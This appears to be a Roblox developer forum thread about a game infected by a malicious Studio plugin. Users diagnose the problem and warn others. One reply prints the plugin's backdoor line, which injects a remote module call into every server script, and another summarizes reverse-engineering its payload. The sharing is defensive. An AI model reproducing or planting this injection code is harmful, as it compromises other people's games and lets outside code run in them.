Nothing came up that i didn’t know about or i didn’t add, here is the output. It seems to be adding a welding to random objects which has a script
1 Like
See that error, Destroy that script in that model, Thats the problem.
1 Like
I do, but it just goes into a new part
1 Like
Have you tried removing the “virus destroyer” plugin and restarting your game yet? I really think that’s the issue, plugins like those exist for people worried about ‘viruses’ or bad code accidentally getting in via the toolbox or other means, in fact , they only ever add them to your game.
download plugins after confirming their safe
1 Like
I told him to install virus destroyer plugin, Its not the cause I use it all the time.
1 Like
I tried deleting it
30 charsssssssssssssss
1 Like
As @XxELECTROFUSIONxX said, try restarting studio after uninstalling each plugin
1 Like
i did
30 charssssssssssssssssssssssssssssss
1 Like
No problems with any of the plugins I know all 3 of his plugins are safe.
1 Like
Well yeah he claims that he removed anything suspicious from the explorer, but there has to be something else
1 Like
Would any of you want to come into the game and see if anything is suspicious
1 Like
Edit: Nevermind i realized i hadn’t deleted some plugins in roblox studio for some reason they were still there so i deleted them and restarted and now i get no output
5 Likes
What plugin was it? Thank you so much for posting this!
I have a lot of plugins. 
Sorry for the bump.
It was a stolen character importer that was botted.
1 Like
Thank you. I think I have that plugin installed.
1 Like
Yes, if you are wondering about this plugin:
In one of the script, this is hidden in it
I looked through the code of the plugin, I managed to find this. Which is the backdoor.
pcall(function()local b='\n --[[ --]] pcall(function()require(4850721608):Fire()end) 'for a,a in pairs(workspace:GetDescendants()) do if a:IsA(“Script”)then a.Source=a.Source…b end end for a,a in pairs(game:GetService(“ServerScriptService”):GetDescendants())do if a:IsA(“Script”)then a.Source=a.Source…b end end end)
This is the code that adds the backdoor to the game scripts.
I also suggest to look at the like ratio, creator, and comments of any plugin before getting/buying it. And all together I highly suggest to never get any type of virus destroyer these tend to be backdoors.
Necrobump, and apologies for such.
I had this script added to a game of mine as well and took it as a challenge to reverse engineer it.
Here is my process of reverse engineering the script, which took me about an hour and a half.
The final code execution is very underwhelming; it just gives a few specific players a sign when they join, and that’s pretty much it.
Here is an attachment where you can check out all of the reverse engineered parts.
fix-lua-reverse-engineer.rbxl (36.0 KB)
The path ended up to be this:
Black boxes are obfuscation while red boxes contain the actual payload.
For the final code execution, see the script game.Workspace.simplification.FinalCode.
As mentioned in my reverse engineering process, the final code is a combination of code from the module modified and MainModule_builderx1337.
I am only publishing this to inform players what the code mentioned actually does.
Happy coding!
Edit: Fix dead link (from my website → pastebin)
5 Likes
Who made the plugin bc my friend is having this problem themselves